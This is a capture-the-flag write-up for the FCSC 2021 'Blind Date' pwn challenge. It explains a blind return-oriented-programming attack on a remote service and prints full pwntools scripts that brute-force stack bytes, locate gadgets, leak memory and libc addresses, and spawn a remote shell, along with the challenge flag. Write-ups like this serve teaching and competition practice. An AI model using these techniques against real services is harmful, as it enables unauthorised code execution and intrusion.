FCSC 2021 - Blind Date

Blind Date

This challenge was part of the Pwn category, and was worth 500 points. Given the challenge name, and the fact that no binary is given, we expect this challenge to be some sort of blind rop challenge. The description of the challenge just gives us a hostname and a port

Une société souhaite créer un service en ligne protégeant les informations de ses clients. Pouvez-vous leur montrer qu’elle n’est pas sûre en lisant le fichier flag.txt sur leur serveur ? Les gérants de cette société n’ont pas souhaité vous donner ni le code source de leur solution, ni le binaire compilé, mais ils vous proposent uniquement un accès distant à leur service.

nc challenges2.france-cybersecurity-challenge.fr 4008

Step one : the overflow

To begin with this challenge, we start by interacting with the remote service. It simply asks for a input, thanks us, says bye and exits.

Hello you.
What is your name ?
>>> bob
Thanks bob
Bye!

However, if we were to send a bigger input, the program would not send any data back.

Hello you.
What is your name ?
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

By adjusting the size of the input, we figure out that more than 40 characters results in no data being sent back. We can infer from this behaviour that the program has crashed, because we overwrote something. We will assume this is a stack value.

Next, we try to figure what is the value that we overwrote. In the case of blind rops, there are two possible situations for us to exploit : either the programs has a stack canary, but it forks itself upon receiving a connexion, which makes the stack canary the same each time, or, as is the case in this challenge, it simply does not have a canary ! Thus, to find out what the overwritten value is, we will simply send exactly 40 bytes of random data, plus one byte of data. If the program does send us the epilogue (“Bye!”), we know that the extra byte is the one that was previously on the stack. If it does not send the epilogue back, we simply try another byte.

To do, I wrote a simple python script using the pwntools library

from pwn import *                                                                                                                           
context.log_level="error"                                                                                                                  
                                                                                                                                            
                                                                                                                                            
host = "challenges2.france-cybersecurity-challenge.fr"                                                                                      
port = 4008

def find_data(prev=b""):
	found = b""
	for _ in range(8):
		for i in range(256):
			payload = b"a"*40 + prev + found + bytes([i])
			p = remote(host, port)
			p.recvuntil(b'> ')
			p.send(payload)
			try:
				data = p.recv()
			except:
				p.close()
				continue
			p.close()
			if b"Bye" in data:
				#We found a correct byte!
				found = found + bytes([i])	
				break
	return found

value1 = find_data()
value2 = find_data(value1)
...

print(b"Value 1 : " + value1)
print(b"Value 2 : " + value2)
...

This only gives one meaningful value, of 8 bytes : 0x00000000004006cc The following ones are 0x0

Step Two : the gadgets

This value gives us a lot of useful information : this looks like an address of the .text of a 64-bits ELF compiled without PIE (slightly after 0x400000 - the base for 64-bits ELF without PIE). From this, we can conclude that the original value on the stack vas the return address of some function, there is no saved rbp on the stack.

We can use this to build a ropchain to get a shell on the server.

For this, we will need gadgets, that let us control registers that are used as arguments for function. And to do this, we need to know the address of those gadgets, and to do so we need to know if the execution crashed of not.

The stop gadget

To check if the execution crashed, we will use a “stop gadget”, a gadget that sends us back some fixed data - any data. We will insert this gadget at the end of our ropchain, this way, if the “magic” data is sent back, we know that the ropchain executed properly, else, it failed.

To find this gadget, we will simply try addresses after the base of the .text, and check what the data sent back to us (if any).

The stop gadget I ended up using was at 0x400560, and sent “Hello you” a second time.

>>> payload = b"a"*40 + p64(0x400560)
>>> p.send(payload)
>>> p.recv()
b'Hello you.\nWhat is your name ?\n>>> Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`\x05@Hello you.\nWhat is your name ?\n>>> '

The register gadgets

Next, we will need to find a way to leak some data from the binary. And to do so, we must be able to control argument register, at least rdi and rsi, rdx would be a bonus if we need to call a function with 3+ arguments.

There is a well-known gadget to controle rdi and rsi : it is located in the epilogue of __libc_csu_init From experience, I know the function ends like this :

5b             pop rbx
5d             pop rbp
415c           pop r12
415d           pop r13
415e           pop r14
415f           pop r15
c3             ret

How does this help us control rdi and rsi ? Well, if we disassemble only the last 2 bytes, we get 5fc3, which is pop rdi; ret. Perfect ! For rsi, if we take the last 4 bytes of this function, we get 5e415fc3, which is pop rsi; pop r15; ret. We will have to fill a value in r15, but that is fine.

Now, we need to find this gadget. We will use the same method as for the stop gadget, except that after the candidat address, we will add 6 8-bytes long value to fill the registers, and the stop gadget. If we find our magic “Hello you” in the answer, we found it !

Again, using pwntools :

from pwn import *                                                                                                                           
context.log_level="error"                                                                                                                  
                                                                                                                                            
                                                                                                                                            
host = "challenges2.france-cybersecurity-challenge.fr"                                                                                      
port = 4008

stop_gadget = 0x400560

for i in range(0x400000, 0x400000 + 0x2000):
	payload = b'a' * 40 + p64(i) + p64(0x1234)*6 + p64(stop_gadget)
	p = remote(host, port)
	p.recvuntil(b'> ')
	p.send(payload)
	try:
		data = p.recv()
	except:
		p.close()
		continue
	p.close()
	if b"Hello" in data:
		print("Found at : " + hex(i))
		break

This outputs only one result : at 0x40073a. Therefore, pop rdi; ret is at 0x400743 and pop rsi; pop r15; ret at 0x400741 What about rdx ? There is a technique - namely, ret2csu_init - which could help us in controlling rdx, but we won’t need it for this challenge, so I have taken the lazy approach :p

Leaking data

Now, we have all we need to leak data. One option, would be to directly use the send function located in the .plt section. However, we need to have the third argument (the length of the data to send) to a value > 0. However, after trying, I could not find any address that sent a fixed amount of data, so I assumed rdx = 0.

While trying to check the previous idea, I found some interesting addresses

from pwn import *                                                                                                                           
context.log_level="error"                                                                                                                  
                                                                                                                                            
                                                                                                                                            
host = "challenges2.france-cybersecurity-challenge.fr"                                                                                      
port = 4008

pop_rsi_r15 = 0x400741
pop_rdi = 0x400743
stop_gadget = 0x400560

for i in range(0x400000, 0x400000 + 0x2000):
	payload = b'a'*40 + p64(pop_rsi_r15) + p64(4) + p64(0) + p64(pop_rdi) + p64(0x400000) + p64(i) + p64(stop_gadget)
	#Here, we set rsi to 4, this is the number of the fd of our connexion; and rdi to 0x400000, the address we want to leak - the base of the binary, and we expect to have b"\x7fELF" in the answer
	
	p = remote(host, port)
	p.recvuntil(b'> ')
	p.send(payload)
	try:
		data = p.recv()
	except:
		p.close()
		continue
	p.close()
	if b"\x7fELF" in data:
		print(b"Found at : " + hex(i).encode() + b" -> " + data)
		break

At the address 0x4004f5 we get the following data back :

Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaA\x07@\x7fELF\x02\x01\x01\nHello you.\nWhat is your name ?\n>>>

Great ! We have a way to leak data. This is most likely the adresse of a function that only takes a file descriptor and an address and sends data at the address back. How much data exactly ? By adjusting the address of the leaked data, we can observe that sometimes there is no data back, and there are no null bytes. We can infer that the program uses strlen or something similar to determine how much data is sent. So, if there is no data back, we can conclude that there is at least one null byte ! We can leak anything now !

Leaking the binary

Thinking next, what do we need for our ropchain ? We want to be able to call dup2(4,0), dup2(4,1) and then system("/bin/sh") to be able get a shell with input/output. For that, we need to know the libc and the base address of the libc. Let’s try the easy way first : for that, with our arbitrary read, we will leak the values in the .got.plt section, and try to identify the libc using online database. For that, we need to locate the .got.plt section.

The .got.plt can be quite far from the base of the ELF depending on the binary, so let’s be efficient. For this, I have dumped the first 0x1000 starting at the base of the ELF.

Here are the interesting parts :

00000370: 1010 6000 0000 0000 0800 0000 0000 0000  ..`.............                                                                         
00000380: 006c 6962 632e 736f 2e36 0066 666c 7573  .libc.so.6.fflus                                                                         
00000390: 6800 7075 7473 0070 7269 6e74 6600 7265  h.puts.printf.re                                                                         
000003a0: 6164 0073 7464 6f75 7400 5f5f 6c69 6263  ad.stdout.__libc                                                                         
000003b0: 5f73 7461 7274 5f6d 6169 6e00 5f5f 676d  _start_main.__gm                                                                         
000003c0: 6f6e 5f73 7461 7274 5f5f 0047 4c49 4243  on_start__.GLIBC                                                                         
000003d0: 5f32 2e32 2e35 0000 0000 0200 0200 0200  _2.2.5..........
...
00000000: ff35 c20a 2000 ff25 c40a 2000 0f1f 4000  .5.. ..%.. ...@.
00000500: ff25 c20a 2000 6800 0000 00e9 e0ff ffff  .%.. .h.........
00000510: ff25 ba0a 2000 6801 0000 00e9 d0ff ffff  .%.. .h.........
00000520: ff25 b20a 2000 6802 0000 00e9 c0ff ffff  .%.. .h.........
00000530: ff25 aa0a 2000 6803 0000 00e9 b0ff ffff  .%.. .h.........
00000540: ff25 a20a 2000 6804 0000 00e9 a0ff ffff  .%.. .h.........
00000550: ff25 9a0a 2000 6805 0000 00e9 90ff ffff  .%.. .h.........

What is this ? This is the .plt section : if we disassemble the 16 bytes at 0x400500 for instance, we get this :

ff25c20a2000       jmp    QWORD PTR [rip+0x200ac2]
6800000000         push   0x0
e9e0ffffff         jmp    0xfffffffffffffff0

It indicates where the .got.plt section is. With this, we can leak the address in the libc of the puts function (there is one entry just before in the .plt - and puts is the second entry according to data at 0x380). Given that this is at address 0x400500, we can conclude that the .got.plt entry for puts is at 0x600fc8

If we leak 8 bytes there, we get an address starting with 0x7f - a libc address ! But if we do so multiple times, we get different addresses. This is because ASLR is enabled on the machine, and so we know the program does not fork itself. Even if ASLR is enabled, the last 3 nibbles of the leaked address are constant, and with this, we can identify the libc. In this case, the fflush address ends in 0x990. Using online websites, we identify this libc as being libc6_2.19-18+deb8u10_amd64

The ropchain

Now, we have all we need to build the final ropchain ! What we do is leak the libc, and start the execution again without restarting : for this, the stop gadget will do fine since it asked for input again. Then, we trigger the overflow again and execute dup2 and system

from pwn import *                                                                                                                           
context.log_level="error"                                                                                                                  
                                                                                                                                            
                                                                                                                                            
host = "challenges2.france-cybersecurity-challenge.fr"                                                                                      
port = 4008

fnc_leak = 0x4004f5
pop_rsi_r15 = 0x400741
pop_rdi = 0x400743
stop_gadget = 0x400560

libc = ELF("./libc.so.6")

p = remote(host, port)

def leak(addr):                                                                                                                             
        payload = b'a'*40 + p64(pop_rsi_r15) + p64(4) + p64(0) + p64(pop_rdi) + p64(addr) + p64(fnc_leak) + p64(stop_gadget) 
        p.recv()                                                                                                                            
        p.send(payload)                                                                                                                     
        p.recvuntil(b'@')                                                                                                                   
        data = p.recvuntil(b'Hello')[:-6]                                                                                                   
        if data == b'':                                                                                                                     
                data = b'\x00'                                                                                                              
        return data                                                                                                                         
                                                                                                                                            
i = 0x8                                                                                                                                     
j = 0                                                                                                                                       
                                                                                                                                            
got_entry = 0x600fc8                                                                                                                        
data = b""                                                                                                                                  
                                                                                                                                            
while i > 0:                                                                                                                                
        data_temp = leak(0x600fc8 + j)                                                                                                 
        data += data_temp                                                                                                                   
        i -= len(data_temp)                                                                                                                 
        j += len(data_temp)                                                                                                                 

libc_leak = u64(data)
libc_base = libc_leak - libc.symbols["puts"]

str_sh = next(libc.search(b"/bin/sh\x00")) + libc_base
system = libc.symbols["system"] + libc_base

payload = b'a'*40 + p64(pop_rdi) + p64(str_sh) + p64(system)
#We don't even need dup2!

p.recvuntil(b'> ')
p.send(payload)
p.interactive()

With this, we get a shell !

$ python3 exploit.py
[*] '/root/FCSC/pwn/Blind/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

And the flag : FCSC{3bf7861167a72f521dd70f704d471bf2be7586b635b40d3e5d50b989dc010f28}

Conclusion

This was a fun challenge, a classic blind rop with a little twist of ASLR + no fork, making it very enjoyable :) The challenge could have been made harder by using a hard to find libc, in which case the DynELF python library would have come in handy, but I chose the manual approch for this challenge.